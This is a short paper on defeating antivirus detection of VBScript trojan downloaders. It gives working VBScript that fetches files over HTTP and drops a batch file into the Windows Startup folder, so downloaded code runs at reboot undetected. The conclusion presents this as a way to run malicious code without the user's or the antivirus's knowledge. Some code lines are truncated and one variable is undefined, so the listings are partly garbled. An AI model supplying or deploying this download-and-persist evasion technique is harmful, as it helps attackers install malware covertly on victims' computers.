Circumventing Trojan Downloader Detection

Henry Samuelson, Christopher Hansen

1 February 2019

Abstract

Using VBScript (.vbs files), a scripting language native to Windows, one can easily download a file and one can easily run a file, however, one cannot download a file and immediately run it. If this is done, the file will be tagged by most anti-virus software as malware. In Windows Defender, it is specifically tagged as a Trojan Downloader with threat level "Severe" and even the VBScript runner itself recognizes the file as a virus and will not run it. The work around simply involves separating the downloading and running processes.

When our initial attempt failed, we tried to isolate the running process by calling a batch file from our VBScript file, which was responsible for the downloading process. It contained the same commands we tried initially, just in a separate file, however, this failed as well.

The solution is to write a file (we chose to use a batch file) containing the run commands to a location where it will be run automatically, such as the Startup folder. This makes complete sense as the downloading and running processes are separated by a reboot of the system, therefore, establishing no connection between the two in the mind of the anti-virus software.

1 First Attempt

In our case, we wanted to run code not written in a language supported by default, the R programming language. First we download a standalone version of R, along with a test file (.R) that prints "hello world".

```
temp = "C:\temp\"
ZipPath="C:\temp\rstandalone.zip"
ExtractPath="C:\temp\rstandalone"
RRun = ExtractPath & "\R-standalone-master-8d27d603933045e568aff6ec05db18ab59f01e95\R-3.3
rZip = temp & "Rcode.zip"
rPath = temp & "rfile.R"
rURL = "https://gitlab.com/RProgramming/R-standalone/repository/archive.zip?ref=master"
testcodeURL = "https://gitlab.com/hsamuelson/rtest/-/archive/master/rtest-master.zip"

Set FSO = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("Shell.Application")
Set WShell = CreateObject("WScript.Shell")
Set xHttp = CreateObject("Microsoft.XMLHTTP")
Set bStrm = CreateObject("Adodb.Stream")

' Create Directories
If NOT FSO.FolderExists(temp) Then
    FSO.CreateFolder(temp)
End If
If NOT FSO.FolderExists(ExtractPath) Then
    FSO.CreateFolder(ExtractPath)
End If

' Download R
xHttp.Open "GET", rURL, False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile ZipPath, 1
End with

Set ZipFiles = objShell.NameSpace(ZipPath).Items()
objShell.NameSpace(ExtractPath).CopyHere ZipFiles, 20

' Download testfile
xHttp.Open "GET", testcodeURL, False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile Rcode, 1
End with

Set ZipFiles = objShell.NameSpace(rZip).Items()
objShell.NameSpace(temp).CopyHere ZipFiles, 2

Set FSO = Nothing
Set objShell = Nothing

' 0, False for invisible
' The runner.bat is already written and is in the same directory as the downloader
```

```
WShell.Run "runner.bat", 1, True
```

This is still flagged as malware, although the downloading and running processes are in different files, as the VBScript downloader is still responsible for calling the runner, establishing a link between the two.

2 Solution

The solution is to have the VBScipt download what is needed and also write a file (we used a batch file) to a location where it will be run automatically, such as the Startup folder. The VBScript is, therefore, no longer responsible for the running. The running is initiated by the Windows operating system upon reboot.

```
Set FSO = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("Shell.Application")
Set WShell = CreateObject("WScript.Shell")
Set xHttp = CreateObject("Microsoft.XMLHTTP")
Set bStrm = CreateObject("Adodb.Stream")

temp = "C:\temp\"
ZipPath = temp & "rstandalone.zip"
ExtractPath = temp & "rstandalone"
rURL = "https://gitlab.com/RProgramming/R-standalone/repository/archive.zip?ref=master"
outBat = WShell.SpecialFolders("Startup") & "\runner.bat"

Set outFile = FSO.CreateTextFile(outBat, True)
outFile.Write "cd C:\" & vbCrLf & "C:\temp\rstandalone\R-standalone-master-2db7b18f6ef29
Rscript.exe
C:\temp\rstandalone\R-standalone-master-2db7b18f6ef2967284a868b49ebc1319518e23e1\R-3.3.0
bin\rfile.R"
outFile.Close

' Create Directories
If NOT FSO.FolderExists(temp) Then
    FSO.CreateFolder(temp)
End If
If NOT FSO.FolderExists(ExtractPath) Then
    FSO.CreateFolder(ExtractPath)
End If

' Download R
xHttp.Open "GET", rURL, False
xHttp.Send

with bStrm
```

```
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile ZipPath, 1
End with

Set ZipFiles = objShell.NameSpace(ZipPath).Items()
objShell.NameSpace(ExtractPath).CopyHere ZipFiles, 20

Set FSO = Nothing
Set objShell = Nothing
```

3 Conclusion

By waiting to run mailicious code until the next system boot, one can circumvent virus detection. This allows on to run numerous commands simply by splitting the processes of downloading and running. This type of program is considered a Trojan virus for a reason. What we discovered is a method by which a user is made vulnerable to malicious code without their or their anti-virus software's knowledge.

This paper is intended for research purposes only.